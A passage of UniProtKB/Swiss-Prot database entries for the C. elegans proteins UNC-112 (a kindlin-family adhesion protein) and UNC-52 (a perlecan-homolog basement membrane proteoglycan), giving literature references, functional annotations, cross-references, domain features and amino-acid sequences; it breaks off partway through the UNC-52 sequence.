RA Rogalski T.M., Mullen G.P., Gilbert M.M., Williams B.D., Moerman D.G.;
RT "The UNC-112 gene in Caenorhabditis elegans encodes a novel component
RT of cell-matrix adhesion structures required for integrin localization
RT in the muscle cell membrane.";
RL J. Cell Biol. 150:253-264(2000).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA].
RC STRAIN=Bristol N2;
RX PubMed=9851916; DOI=10.1126/science.282.5396.2012;
RG The C. elegans sequencing consortium;
RT "Genome sequence of the nematode C. elegans: a platform for
RT investigating biology.";
RL Science 282:2012-2018(1998).
RN [3]
RP INTERACTION WITH PAT-4.
RX PubMed=12015115; DOI=10.1016/S0960-9822(02)00810-2;
RA Mackinnon A.C., Qadota H., Norman K.R., Moerman D.G., Williams B.D.;
RT "C. elegans PAT-4/ILK functions as an adaptor protein within integrin
RT adhesion complexes.";
RL Curr. Biol. 12:787-797(2002).
RN [4]
RP SUBUNIT OF A COMPLEX WITH PAT-4 AND PAT-6.
RX PubMed=12781130; DOI=10.1016/S0960-9822(03)00372-5;
RA Lin X., Qadota H., Moerman D.G., Williams B.D.;
RT "C. elegans PAT-6/actopaxin plays a critical role in the assembly of
RT integrin adhesion complexes in vivo.";
RL Curr. Biol. 13:922-932(2003).
CC -!- FUNCTION: Probable regulator of cell-extracellular matrix
CC adhesion. Required during initial muscle assembly to form dense
CC bodies and M-lines. {ECO:0000269|PubMed:10893272}.
CC -!- SUBUNIT: Interacts with pat-4/ILK. Probably forms a complex with
CC pat-4 and pat-6. {ECO:0000269|PubMed:12015115,
CC ECO:0000269|PubMed:12781130}.
CC -!- INTERACTION:
CC Q9TZC4:pat-4; NbExp=5; IntAct=EBI-1564809, EBI-1564527;
CC -!- SUBCELLULAR LOCATION: Cell membrane {ECO:0000269|PubMed:10893272};
CC Peripheral membrane protein {ECO:0000269|PubMed:10893272}.
CC Note=Colocalizes with pat-3/beta-integrin in body wall muscles.
CC Requires unc-52/perlecan and pat-3 to be localized to the muscle
CC cell membrane.
CC -!- TISSUE SPECIFICITY: Mainly expressed in muscle cells in both
CC embryos and adults.
CC -!- DOMAIN: The FERM domain is not correctly detected by PROSITE or
CC Pfam techniques because it contains the insertion of a PH domain.
CC -!- SIMILARITY: Belongs to the kindlin family. {ECO:0000305}.
CC -!- SIMILARITY: Contains 1 FERM domain. {ECO:0000305}.
CC -!- SIMILARITY: Contains 1 PH domain. {ECO:0000255|PROSITE-
CC ProRule:PRU00145}.
CC -----------------------------------------------------------------------
CC Copyrighted by the UniProt Consortium, see http://www.uniprot.org/terms
CC Distributed under the Creative Commons Attribution-NoDerivs License
CC -----------------------------------------------------------------------
DR EMBL; AF217185; AAF20162.1; -; mRNA.
DR EMBL; Z75530; CAA99790.1; -; Genomic_DNA.
DR PIR; T20016; T20016.
DR RefSeq; NP_506628.1; NM_074227.6.
DR UniGene; Cel.5462; -.
DR ProteinModelPortal; Q18685; -.
DR SMR; Q18685; 12-91, 277-530, 538-694.
DR IntAct; Q18685; 2.
DR STRING; 6239.C47E8.7.2; -.
DR iPTMnet; Q18685; -.
DR EPD; Q18685; -.
DR PaxDb; Q18685; -.
DR EnsemblMetazoa; C47E8.7.1; C47E8.7.1; WBGene00006836.
DR EnsemblMetazoa; C47E8.7.2; C47E8.7.2; WBGene00006836.
DR GeneID; 179972; -.
DR KEGG; cel:CELE_C47E8.7; -.
DR UCSC; C47E8.7.1; c. elegans.
DR CTD; 179972; -.
DR WormBase; C47E8.7; CE05443; WBGene00006836; unc-112.
DR eggNOG; KOG3727; Eukaryota.
DR eggNOG; ENOG410XS1B; LUCA.
DR GeneTree; ENSGT00390000013444; -.
DR HOGENOM; HOG000231715; -.
DR InParanoid; Q18685; -.
DR KO; K17083; -.
DR OMA; HKDARIQ; -.
DR OrthoDB; EOG091G03SD; -.
DR PhylomeDB; Q18685; -.
DR Reactome; R-CEL-446353; Cell-extracellular matrix interactions.
DR PRO; PR:Q18685; -.
DR Proteomes; UP000001940; Chromosome V.
DR Bgee; WBGene00006836; -.
DR GO; GO:0030055; C:cell-substrate junction; IDA:WormBase.
DR GO; GO:0005737; C:cytoplasm; IDA:UniProtKB.
DR GO; GO:0031430; C:M band; IDA:UniProtKB.
DR GO; GO:0005886; C:plasma membrane; IDA:WormBase.
DR GO; GO:0055120; C:striated muscle dense body; IDA:UniProtKB.
DR GO; GO:0050839; F:cell adhesion molecule binding; IDA:UniProtKB.
DR GO; GO:0005178; F:integrin binding; IPI:UniProtKB.
DR GO; GO:0043621; F:protein self-association; IPI:UniProtKB.
DR GO; GO:0005198; F:structural molecule activity; IMP:WormBase.
DR GO; GO:0007160; P:cell-matrix adhesion; IDA:UniProtKB.
DR GO; GO:0072594; P:establishment of protein localization to organelle; IMP:UniProtKB.
DR GO; GO:0048815; P:hermaphrodite genitalia morphogenesis; IMP:UniProtKB.
DR GO; GO:0040011; P:locomotion; IMP:WormBase.
DR GO; GO:0007517; P:muscle organ development; IDA:UniProtKB.
DR GO; GO:1903356; P:positive regulation of distal tip cell migration; IMP:UniProtKB.
DR GO; GO:1904901; P:positive regulation of myosin II filament organization; IMP:UniProtKB.
DR GO; GO:0060279; P:positive regulation of ovulation; IMP:UniProtKB.
DR GO; GO:0045987; P:positive regulation of smooth muscle contraction; IMP:UniProtKB.
DR GO; GO:1901074; P:regulation of engulfment of apoptotic cell; IMP:WormBase.
DR Gene3D; 1.20.80.10; -; 2.
DR Gene3D; 2.30.29.30; -; 2.
DR InterPro; IPR019749; Band_41_domain.
DR InterPro; IPR014352; FERM/acyl-CoA-bd_prot_3-hlx.
DR InterPro; IPR019748; FERM_central.
DR InterPro; IPR019747; FERM_CS.
DR InterPro; IPR011993; PH_dom-like.
DR InterPro; IPR001849; PH_domain.
DR Pfam; PF00373; FERM_M; 1.
DR Pfam; PF00169; PH; 1.
DR SMART; SM00295; B41; 1.
DR SMART; SM00233; PH; 1.
DR SUPFAM; SSF47031; SSF47031; 2.
DR SUPFAM; SSF50729; SSF50729; 2.
DR PROSITE; PS00660; FERM_1; 1.
DR PROSITE; PS50003; PH_DOMAIN; 1.
PE 1: Evidence at protein level;
KW Cell adhesion; Cell membrane; Complete proteome; Membrane;
KW Reference proteome.
FT CHAIN 1 720 Protein unc-112.
FT /FTId=PRO_0000219458.
FT DOMAIN 288 614 FERM.
FT DOMAIN 402 507 PH. {ECO:0000255|PROSITE-
FT ProRule:PRU00145}.
FT MUTAGEN 85 85 T->I: In R367; induces disorganized body
FT wall muscle and paralyzed as adults.
FT {ECO:0000269|PubMed:10893272}.
SQ SEQUENCE 720 AA; 82355 MW; 663CB0E9891C1A12 CRC64;
MAHLVEGTSI IDGKWQLPIL VTDLNIQRSI SVLGNLNVGG LMLELVSECD VERDWSDHAL
WWPEKRRWLQ HTRSTLDQNG ITAETQLEFT PMHKEARIQL PDMQMIDARV DFSVNSFKAT
KKLCRDLGIR YSEELSLKRY IPPEDLRRGT SDADNMNGPL SMRPGEESVG PMTLRKAAPI
FASQSNLDMR RRGQSPALSQ SGHIFNAHEM GTLPRHGTLP RGVSPSPGAY NDTMRRTPIM
PSISFSEGLE NEQFDDALIH SPRLAPSRDT PVFRPQNYVE KAAINRGWLD SSRSLMEQGI
FEGDIILLRF KFMNFFDLNP KYDPVRINQL YEQAKWSILL DEFDHTEEEA TLFAALQLQA
TLQRDSPEPE ENNKDDVDIL LDELEQNLDA AALNRRSDLT QVPELADYLK YMKPKKLAAF
KGFKRAFFSF RDLYLSYHQS SSDVNSAPLG HFSLKGCEVS QDVSVGQQKY HIKLLLPTAE
GMIDFILKCD SEHQYARWMA ACRLASRGKS MADSSYQQEV ESIKNLLKMQ SGNGNENGNS
NTASRKAAAV KLPNDFNVDE YISSKYVRRA RSKQQIQQRV SDAHGNVRQL TATEAKLQYI
RAWQALPEHG IHYFIVRFRN ARKAELVAVA VNRLAKLNMD NGESLKTWRF ANMKKWHVNW
EIRHLKIQFE DEDIEFKPLS ADCKVVHEFI GGYIFLSMRS KEHSQNLDEE LFHKLTGGWA
//
ID UNC52_CAEEL Reviewed; 3375 AA.
AC Q06561; O18261; O18263; Q6BEQ6; Q9U7E8; Q9XTD2; Q9XTI5;
DT 01-JUN-1994, integrated into UniProtKB/Swiss-Prot.
DT 23-APR-2003, sequence version 2.
DT 07-SEP-2016, entry version 156.
DE RecName: Full=Basement membrane proteoglycan;
DE AltName: Full=Perlecan homolog;
DE AltName: Full=Uncoordinated protein 52;
DE Short=Protein unc-52;
DE Flags: Precursor;
GN Name=unc-52; ORFNames=ZC101.2;
OS Caenorhabditis elegans.
OC Eukaryota; Metazoa; Ecdysozoa; Nematoda; Chromadorea; Rhabditida;
OC Rhabditoidea; Rhabditidae; Peloderinae; Caenorhabditis.
OX NCBI_TaxID=6239;
RN [1]
RP NUCLEOTIDE SEQUENCE [GENOMIC DNA] (ISOFORM A), AND FUNCTION.
RX PubMed=8393416; DOI=10.1101/gad.7.8.1471;
RA Rogalski T.M., Williams B.D., Mullen G.P., Moerman D.G.;
RT "Products of the unc-52 gene in Caenorhabditis elegans are homologous
RT to the core protein of the mammalian basement membrane heparan sulfate
RT proteoglycan.";
RL Genes Dev. 7:1471-1484(1993).
RN [2]
RP NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA], AND ALTERNATIVE
RP SPLICING.
RC STRAIN=Bristol N2;
RX PubMed=9851916; DOI=10.1126/science.282.5396.2012;
RG The C. elegans sequencing consortium;
RT "Genome sequence of the nematode C. elegans: a platform for
RT investigating biology.";
RL Science 282:2012-2018(1998).
RN [3]
RP NUCLEOTIDE SEQUENCE [MRNA] OF 2451-3375 (ISOFORMS C/E).
RC STRAIN=Bristol N2;
RX PubMed=10512861; DOI=10.1091/mbc.10.10.3205;
RA Mullen G.P., Rogalski T.M., Bush J.A., Gorji P.R., Moerman D.G.;
RT "Complex patterns of alternative splicing mediate the spatial and
RT temporal distribution of perlecan/UNC-52 in Caenorhabditis elegans.";
RL Mol. Biol. Cell 10:3205-3221(1999).
RN [4]
RP GLYCOSYLATION [LARGE SCALE ANALYSIS] AT ASN-1422, AND IDENTIFICATION
RP BY MASS SPECTROMETRY.
RC STRAIN=Bristol N2;
RX PubMed=12754521; DOI=10.1038/nbt829;
RA Kaji H., Saito H., Yamauchi Y., Shinkawa T., Taoka M., Hirabayashi J.,
RA Kasai K., Takahashi N., Isobe T.;
RT "Lectin affinity capture, isotope-coded tagging and mass spectrometry
RT to identify N-linked glycoproteins.";
RL Nat. Biotechnol. 21:667-672(2003).
RN [5]
RP FUNCTION, AND DISRUPTION PHENOTYPE.
RX PubMed=16495308; DOI=10.1242/dev.02300;
RA Dixon S.J., Alexander M., Fernandes R., Ricker N., Roy P.J.;
RT "FGF negatively regulates muscle membrane extension in Caenorhabditis
RT elegans.";
RL Development 133:1263-1275(2006).
RN [6]
RP GLYCOSYLATION [LARGE SCALE ANALYSIS] AT ASN-1422, AND IDENTIFICATION
RP BY MASS SPECTROMETRY.
RC STRAIN=Bristol N2;
RX PubMed=17761667; DOI=10.1074/mcp.M600392-MCP200;
RA Kaji H., Kamiie J., Kawakami H., Kido K., Yamauchi Y., Shinkawa T.,
RA Taoka M., Takahashi N., Isobe T.;
RT "Proteomics reveals N-linked glycoprotein diversity in Caenorhabditis
RT elegans and suggests an atypical translocation mechanism for integral
RT membrane proteins.";
RL Mol. Cell. Proteomics 6:2100-2109(2007).
CC -!- FUNCTION: Probable role in myofilament assembly and/or attachment
CC of the myofilament lattice to the cell membrane. May be an
CC extracellular anchor for integrin receptors in muscle
CC (PubMed:8393416). During the formation of neuromuscular junctions
CC at the larval stage, negatively regulates membrane protrusion from
CC body wall muscles, probably downstream of the integrin complex
CC formed by pat-2 and pat-3 (PubMed:16495308).
CC {ECO:0000269|PubMed:16495308, ECO:0000269|PubMed:8393416}.
CC -!- SUBCELLULAR LOCATION: Secreted, extracellular space, extracellular
CC matrix, basement membrane.
CC -!- ALTERNATIVE PRODUCTS:
CC Event=Alternative splicing; Named isoforms=5;
CC Name=e;
CC IsoId=Q06561-1; Sequence=Displayed;
CC Note=No experimental confirmation available.;
CC Name=a;
CC IsoId=Q06561-2; Sequence=VSP_007195, VSP_007196;
CC Name=b;
CC IsoId=Q06561-3; Sequence=VSP_007191, VSP_007192;
CC Note=No experimental confirmation available.;
CC Name=c;
CC IsoId=Q06561-4; Sequence=VSP_007193, VSP_007194, VSP_007195,
CC VSP_007196;
CC Note=No experimental confirmation available.;
CC Name=f;
CC IsoId=Q06561-5; Sequence=VSP_020104, VSP_007195, VSP_020105;
CC Note=No experimental confirmation available.;
CC -!- TISSUE SPECIFICITY: Found in the basement membrane of all
CC contractile tissues. It is concentrated over muscle dense bodies
CC and M-lines which are associated with beta-integrin.
CC -!- DEVELOPMENTAL STAGE: Synthesized early in embryogenesis.
CC -!- DISRUPTION PHENOTYPE: RNAi-mediated knockdown in L4 larval stage,
CC causes a small increase in ectopic membrane extensions from body
CC wall muscles. {ECO:0000269|PubMed:16495308}.
CC -!- SIMILARITY: Contains 17 Ig-like C2-type (immunoglobulin-like)
CC domains. {ECO:0000305}.
CC -!- SIMILARITY: Contains 7 laminin EGF-like domains.
CC {ECO:0000255|PROSITE-ProRule:PRU00460}.
CC -!- SIMILARITY: Contains 3 laminin G-like domains.
CC {ECO:0000255|PROSITE-ProRule:PRU00122}.
CC -!- SIMILARITY: Contains 2 laminin IV type A domains.
CC {ECO:0000255|PROSITE-ProRule:PRU00458}.
CC -!- SIMILARITY: Contains 3 LDL-receptor class A domains.
CC {ECO:0000255|PROSITE-ProRule:PRU00124}.
CC -----------------------------------------------------------------------
CC Copyrighted by the UniProt Consortium, see http://www.uniprot.org/terms
CC Distributed under the Creative Commons Attribution-NoDerivs License
CC -----------------------------------------------------------------------
DR EMBL; L13458; AAA28156.1; -; Genomic_DNA.
DR EMBL; Z93395; CAB07704.1; -; Genomic_DNA.
DR EMBL; Z93395; CAB07706.1; -; Genomic_DNA.
DR EMBL; Z93375; CAB07706.1; JOINED; Genomic_DNA.
DR EMBL; Z93395; CAB07707.1; -; Genomic_DNA.
DR EMBL; Z93375; CAB07707.1; JOINED; Genomic_DNA.
DR EMBL; Z93395; CAB07708.1; -; Genomic_DNA.
DR EMBL; Z93375; CAB07708.1; JOINED; Genomic_DNA.
DR EMBL; Z93395; CAH04744.1; -; Genomic_DNA.
DR EMBL; Z93375; CAH04744.1; JOINED; Genomic_DNA.
DR EMBL; AF132883; AAD25092.1; -; mRNA.
DR PIR; C88369; C88369.
DR PIR; F88369; F88369.
DR PIR; T19821; T19821.
DR RefSeq; NP_001022488.1; NM_001027317.5.
DR RefSeq; NP_497044.3; NM_064643.8. [Q06561-1]
DR RefSeq; NP_497045.1; NM_064644.3. [Q06561-4]
DR RefSeq; NP_497046.1; NM_064645.4. [Q06561-2]
DR RefSeq; NP_497047.1; NM_064646.4. [Q06561-3]
DR UniGene; Cel.13832; -.
DR ProteinModelPortal; Q06561; -.
DR SMR; Q06561; 190-221.
DR BioGrid; 40407; 13.
DR IntAct; Q06561; 1.
DR STRING; 6239.ZC101.2e; -.
DR EPD; Q06561; -.
DR PaxDb; Q06561; -.
DR PeptideAtlas; Q06561; -.
DR PRIDE; Q06561; -.
DR EnsemblMetazoa; ZC101.2e; ZC101.2e; WBGene00006787. [Q06561-1]
DR GeneID; 175126; -.
DR KEGG; cel:CELE_ZC101.2; -.
DR UCSC; ZC101.2e; c. elegans. [Q06561-1]
DR CTD; 175126; -.
DR WormBase; ZC101.2a; CE15028; WBGene00006787; unc-52.
DR WormBase; ZC101.2b; CE15030; WBGene00006787; unc-52.
DR WormBase; ZC101.2c; CE15034; WBGene00006787; unc-52.
DR WormBase; ZC101.2e; CE18424; WBGene00006787; unc-52.
DR WormBase; ZC101.2f; CE37074; WBGene00006787; unc-52.
DR eggNOG; KOG3509; Eukaryota.
DR eggNOG; ENOG410XTD2; LUCA.
DR GeneTree; ENSGT00530000063501; -.
DR InParanoid; Q06561; -.
DR OMA; TCRNLHH; -.
DR OrthoDB; EOG091G048M; -.
DR PhylomeDB; Q06561; -.
DR Reactome; R-CEL-1474228; Degradation of the extracellular matrix.
DR Reactome; R-CEL-1971475; A tetrasaccharide linker sequence is required for GAG synthesis.
DR Reactome; R-CEL-2022928; HS-GAG biosynthesis.
DR Reactome; R-CEL-2024096; HS-GAG degradation.
DR Reactome; R-CEL-3000157; Laminin interactions.
DR Reactome; R-CEL-3000171; Non-integrin membrane-ECM interactions.
DR Reactome; R-CEL-3000178; ECM proteoglycans.
DR PRO; PR:Q06561; -.
DR Proteomes; UP000001940; Chromosome II.
DR Bgee; WBGene00006787; -.
DR ExpressionAtlas; Q06561; baseline.
DR GO; GO:0005604; C:basement membrane; IDA:WormBase.
DR GO; GO:0005578; C:proteinaceous extracellular matrix; IDA:UniProtKB.
DR GO; GO:0005509; F:calcium ion binding; IEA:InterPro.
DR GO; GO:0005198; F:structural molecule activity; IMP:WormBase.
DR GO; GO:0016477; P:cell migration; IGI:WormBase.
DR GO; GO:0009792; P:embryo development ending in birth or egg hatching; IGI:WormBase.
DR GO; GO:0008543; P:fibroblast growth factor receptor signaling pathway; IGI:WormBase.
DR GO; GO:0031581; P:hemidesmosome assembly; IGI:WormBase.
DR GO; GO:0040011; P:locomotion; IMP:WormBase.
DR GO; GO:0007517; P:muscle organ development; IMP:WormBase.
DR GO; GO:0048644; P:muscle organ morphogenesis; IGI:WormBase.
DR GO; GO:0030239; P:myofibril assembly; IEP:UniProtKB.
DR GO; GO:0040017; P:positive regulation of locomotion; IMP:WormBase.
DR Gene3D; 2.60.120.200; -; 3.
DR Gene3D; 2.60.40.10; -; 17.
DR Gene3D; 4.10.400.10; -; 3.
DR InterPro; IPR013320; ConA-like_dom.
DR InterPro; IPR001881; EGF-like_Ca-bd_dom.
DR InterPro; IPR013032; EGF-like_CS.
DR InterPro; IPR000742; EGF-like_dom.
DR InterPro; IPR009030; Growth_fac_rcpt_.
DR InterPro; IPR007110; Ig-like_dom.
DR InterPro; IPR013783; Ig-like_fold.
DR InterPro; IPR013098; Ig_I-set.
DR InterPro; IPR003599; Ig_sub.
DR InterPro; IPR003598; Ig_sub2.
DR InterPro; IPR002049; Laminin_EGF.
DR InterPro; IPR001791; Laminin_G.
DR InterPro; IPR000034; Laminin_IV.
DR InterPro; IPR023415; LDLR_class-A_CS.
DR InterPro; IPR002172; LDrepeatLR_classA_rpt.
DR Pfam; PF07679; I-set; 2.
DR Pfam; PF13895; Ig_2; 2.
DR Pfam; PF00052; Laminin_B; 2.
DR Pfam; PF00053; Laminin_EGF; 7.
DR Pfam; PF00054; Laminin_G_1; 1.
DR Pfam; PF02210; Laminin_G_2; 2.
DR Pfam; PF00057; Ldl_recept_a; 3.
DR PRINTS; PR00261; LDLRECEPTOR.
DR SMART; SM00181; EGF; 6.
DR SMART; SM00179; EGF_CA; 2.
DR SMART; SM00180; EGF_Lam; 6.
DR SMART; SM00409; IG; 17.
DR SMART; SM00408; IGc2; 17.
DR SMART; SM00281; LamB; 2.
DR SMART; SM00282; LamG; 3.
DR SMART; SM00192; LDLa; 3.
DR SUPFAM; SSF48726; SSF48726; 16.
DR SUPFAM; SSF49899; SSF49899; 3.
DR SUPFAM; SSF57184; SSF57184; 2.
DR SUPFAM; SSF57424; SSF57424; 3.
DR PROSITE; PS00022; EGF_1; 7.
DR PROSITE; PS01186; EGF_2; 2.
DR PROSITE; PS50026; EGF_3; 3.
DR PROSITE; PS01248; EGF_LAM_1; 7.
DR PROSITE; PS50027; EGF_LAM_2; 5.
DR PROSITE; PS50835; IG_LIKE; 17.
DR PROSITE; PS50025; LAM_G_DOMAIN; 3.
DR PROSITE; PS51115; LAMININ_IVA; 2.
DR PROSITE; PS01209; LDLRA_1; 3.
DR PROSITE; PS50068; LDLRA_2; 3.
PE 1: Evidence at protein level;
KW Alternative splicing; Basement membrane; Complete proteome;
KW Disulfide bond; Extracellular matrix; Glycoprotein;
KW Immunoglobulin domain; Laminin EGF-like domain; Proteoglycan;
KW Reference proteome; Repeat; Secreted; Signal.
FT SIGNAL 1 22 {ECO:0000255}.
FT CHAIN 23 3375 Basement membrane proteoglycan.
FT /FTId=PRO_0000026698.
FT DOMAIN 45 130 Ig-like C2-type 1.
FT DOMAIN 148 184 LDL-receptor class A 1.
FT {ECO:0000255|PROSITE-ProRule:PRU00124}.
FT DOMAIN 189 225 LDL-receptor class A 2.
FT {ECO:0000255|PROSITE-ProRule:PRU00124}.
FT DOMAIN 232 269 LDL-receptor class A 3.
FT {ECO:0000255|PROSITE-ProRule:PRU00124}.
FT DOMAIN 271 355 Ig-like C2-type 2.
FT DOMAIN 384 431 Laminin EGF-like 1; truncated.
FT {ECO:0000255|PROSITE-ProRule:PRU00460}.
FT DOMAIN 432 441 Laminin EGF-like 2; first part.
FT {ECO:0000255|PROSITE-ProRule:PRU00460}.
FT DOMAIN 450 633 Laminin IV type A 1.
FT {ECO:0000255|PROSITE-ProRule:PRU00458}.
FT DOMAIN 634 666 Laminin EGF-like 2; second part.
FT {ECO:0000255|PROSITE-ProRule:PRU00460}.
FT DOMAIN 674 720 Laminin EGF-like 3; truncated.
FT {ECO:0000255|PROSITE-ProRule:PRU00460}.
FT DOMAIN 721 730 Laminin EGF-like 4; first part.
FT {ECO:0000255|PROSITE-ProRule:PRU00460}.
FT DOMAIN 740 921 Laminin IV type A 2.
FT {ECO:0000255|PROSITE-ProRule:PRU00458}.
FT DOMAIN 922 954 Laminin EGF-like 4; second part.
FT {ECO:0000255|PROSITE-ProRule:PRU00460}.
FT DOMAIN 955 1004 Laminin EGF-like 5. {ECO:0000255|PROSITE-
FT ProRule:PRU00460}.
FT DOMAIN 1011 1060 Laminin EGF-like 6. {ECO:0000255|PROSITE-
FT ProRule:PRU00460}.
FT DOMAIN 1061 1111 Laminin EGF-like 7. {ECO:0000255|PROSITE-
FT ProRule:PRU00460}.
FT DOMAIN 1126 1222 Ig-like C2-type 3.
FT DOMAIN 1226 1311 Ig-like C2-type 4.
FT DOMAIN 1319 1401 Ig-like C2-type 5.
FT DOMAIN 1410 1499 Ig-like C2-type 6.
FT DOMAIN 1503 1585 Ig-like C2-type 7.
FT DOMAIN 1588 1680 Ig-like C2-type 8.
FT DOMAIN 1690 1785 Ig-like C2-type 9.
FT DOMAIN 1793 1878 Ig-like C2-type 10.
FT DOMAIN 1886 1970 Ig-like C2-type 11.
FT DOMAIN 1973 2069 Ig-like C2-type 12.
FT DOMAIN 2073 2163 Ig-like C2-type 13.
FT DOMAIN 2173 2260 Ig-like C2-type 14.
FT DOMAIN 2263 2343 Ig-like C2-type 15.
FT DOMAIN 2349 2435 Ig-like C2-type 16.
FT DOMAIN 2446 2530 Ig-like C2-type 17.
FT DOMAIN 2532 2713 Laminin G-like 1. {ECO:0000255|PROSITE-
FT ProRule:PRU00122}.
FT DOMAIN 2793 2960 Laminin G-like 2. {ECO:0000255|PROSITE-
FT ProRule:PRU00122}.
FT DOMAIN 3180 3359 Laminin G-like 3. {ECO:0000255|PROSITE-
FT ProRule:PRU00122}.
FT COMPBIAS 2961 3093 Glu-rich.
FT COMPBIAS 2972 3066 Thr-rich.
FT CARBOHYD 1422 1422 N-linked (GlcNAc...).
FT {ECO:0000269|PubMed:12754521,
FT ECO:0000269|PubMed:17761667}.
FT CARBOHYD 2476 2476 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 2950 2950 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 3143 3143 N-linked (GlcNAc...). {ECO:0000255}.
FT CARBOHYD 3156 3156 N-linked (GlcNAc...). {ECO:0000255}.
FT DISULFID 66 114 {ECO:0000250}.
FT DISULFID 149 161 {ECO:0000250}.
FT DISULFID 156 174 {ECO:0000250}.
FT DISULFID 168 183 {ECO:0000250}.
FT DISULFID 190 202 {ECO:0000250}.
FT DISULFID 197 215 {ECO:0000250}.
FT DISULFID 209 224 {ECO:0000250}.
FT DISULFID 233 246 {ECO:0000250}.
FT DISULFID 240 259 {ECO:0000250}.
FT DISULFID 253 268 {ECO:0000250}.
FT DISULFID 384 400 {ECO:0000250}.
FT DISULFID 402 411 {ECO:0000250}.
FT DISULFID 414 429 {ECO:0000250}.
FT DISULFID 634 648 {ECO:0000250}.
FT DISULFID 636 689 {ECO:0000250}.
FT DISULFID 691 700 {ECO:0000250}.
FT DISULFID 703 718 {ECO:0000250}.
FT DISULFID 955 964 {ECO:0000250}.
FT DISULFID 957 971 {ECO:0000250}.
FT DISULFID 974 983 {ECO:0000250}.
FT DISULFID 986 1002 {ECO:0000250}.
FT DISULFID 1011 1021 {ECO:0000250}.
FT DISULFID 1013 1027 {ECO:0000250}.
FT DISULFID 1030 1039 {ECO:0000250}.
FT DISULFID 1042 1058 {ECO:0000250}.
FT DISULFID 1061 1069 {ECO:0000250}.
FT DISULFID 1063 1079 {ECO:0000250}.
FT DISULFID 1082 1091 {ECO:0000250}.
FT DISULFID 1094 1109 {ECO:0000250}.
FT DISULFID 1152 1200 {ECO:0000250}.
FT DISULFID 1338 1384 {ECO:0000250}.
FT DISULFID 1435 1481 {ECO:0000250}.
FT DISULFID 1527 1573 {ECO:0000250}.
FT DISULFID 1618 1663 {ECO:0000250}.
FT DISULFID 1719 1767 {ECO:0000250}.
FT DISULFID 1814 1861 {ECO:0000250}.
FT DISULFID 1907 1954 {ECO:0000250}.
FT DISULFID 1998 2053 {ECO:0000250}.
FT DISULFID 2099 2147 {ECO:0000250}.
FT DISULFID 2195 2242 {ECO:0000250}.
FT DISULFID 2284 2329 {ECO:0000250}.
FT DISULFID 2374 2420 {ECO:0000250}.
FT DISULFID 2467 2514 {ECO:0000250}.
FT DISULFID 2713 2725 {ECO:0000250}.
FT DISULFID 2719 2736 {ECO:0000250}.
FT DISULFID 2738 2747 {ECO:0000250}.
FT DISULFID 2754 2764 {ECO:0000250}.
FT DISULFID 2759 2773 {ECO:0000250}.
FT DISULFID 2775 2784 {ECO:0000250}.
FT DISULFID 2935 2960 {ECO:0000250}.
FT DISULFID 3141 3152 {ECO:0000250}.
FT DISULFID 3146 3162 {ECO:0000250}.
FT DISULFID 3164 3173 {ECO:0000250}.
FT DISULFID 3333 3359 {ECO:0000250}.
FT VAR_SEQ 1129 1222 VLRVRIMEPKRQIALPGDRVHWICQVTGYTTEKIHVEWTKV
FT GEMSLPPNAKAYDGYLVLKGVEAENAGQYRCTATTITQYAT
FT DDALLTISKRIS -> G (in isoform f).
FT {ECO:0000305}.
FT /FTId=VSP_020104.
FT VAR_SEQ 1129 1160 VLRVRIMEPKRQIALPGDRVHWICQVTGYTTE -> GDFAR
FT NSPSQNSSGQRRHRRRRIRVRSRFYHH (in isoform
FT b). {ECO:0000305}.
FT /FTId=VSP_007191.
FT VAR_SEQ 1161 3375 Missing (in isoform b). {ECO:0000305}.
FT /FTId=VSP_007192.
FT VAR_SEQ 1695 1695 R -> H (in isoform c). {ECO:0000305}.
FT /FTId=VSP_007193.
FT VAR_SEQ 1696 1882 Missing (in isoform c). {ECO:0000305}.
FT /FTId=VSP_007194.
FT VAR_SEQ 2442 2482 QDQVTFTVADSLPVVYTVGQPAYLSCIGKTETKPNQSVVWT
FT -> RKRKHLGNRRGRRLRHRRRNAQNGPLSRKTRTTTKLFG
FT SWF (in isoform a, isoform c and isoform
FT f). {ECO:0000305}.
FT /FTId=VSP_007195.
FT VAR_SEQ 2483 3375 Missing (in isoform a and isoform c).
FT {ECO:0000305}.
FT /FTId=VSP_007196.
FT VAR_SEQ 2485 3375 Missing (in isoform f). {ECO:0000305}.
FT /FTId=VSP_020105.
FT CONFLICT 512 512 Missing (in Ref. 1; AAA28156).
FT {ECO:0000305}.
FT CONFLICT 547 547 R -> P (in Ref. 1; AAA28156).
FT {ECO:0000305}.
SQ SEQUENCE 3375 AA; 369052 MW; 1AA418BB4E5D67AA CRC64;
MKRSSTVLAA LLALLLVATN DAARHRKYRQ TYQDIDSDDD DTSDVQITVF PSEKEVRDGR
DVSFECRART SDNSVYPTVR WARVGGPLPS SAHDSGGRLT INPVQLSDAG TYICVSDYNG
NTVEARATLS VVSYGPQEVS NGLRQAGQCM ADEKACGNNE CVKNDYVCDG EPDCRDRSDE
ANCPAISRTC EPNEFKCNNN KCVQKMWLCD GDDDCGDNSD ELNCNAKPSS SDCKPTEFQC
HDRRQCVPSS FHCDGTNDCH DGSDEVGCVQ PTVVDPPQTN LQVPRGTTFS LTCKAVAVPE
PYINWRLNWG PVCEPPRCLQ TSEGGYGTLT IHDAQPVDQG AYTCEAINVK GRVLATPDCI
VRVVDDPRPQ PPQPPTAPPQ RASCDTRGAV TPYPNNYGTC ECKSQVTGPN CDQCKPGAFH
LSEKSPEGCL KCFCFGVSND CRSSGHYRTK DRLMFAGDAE GVTISDIEER TIDRNTPFSF
FKTGYLTFDG TTDGVAKYWR LPQRFLGDKV TAYGGKMEFE IEFSGSGHHS SEPMVVLKGN
QNILVHRVRN QEHVLRSDSP VRITVETYET NYEQLNGAAA TREDLLMVLA DLDAFLIRAT
HVAHQTSTSL GDVSWEIAVD RYTPDGLALE VEQCVCPPGY LGTSCEDCAP GYERSGYGPY
LGTCVPIQPR HQQCGPGAVA PTAPAQGQCQ CKASVIGPNC DRCAPNSFGL APTNPQGCIP
CFCSGVTQQC SASSYRRTSV SIDYARGDRD QLELTTSDSR QPYSPQTRAE LSGQAIEFRS
FEEARGQTLY WKLPEKFLGD KVTSYGGTLE YTFKFSGNGN SDQSADVILR GNDIALQYKH
REPFYADREN KVQIKIIETS WQRVDGQQAT REHLLMTLAD LDTLLIKSTY NDDCTDSQLL
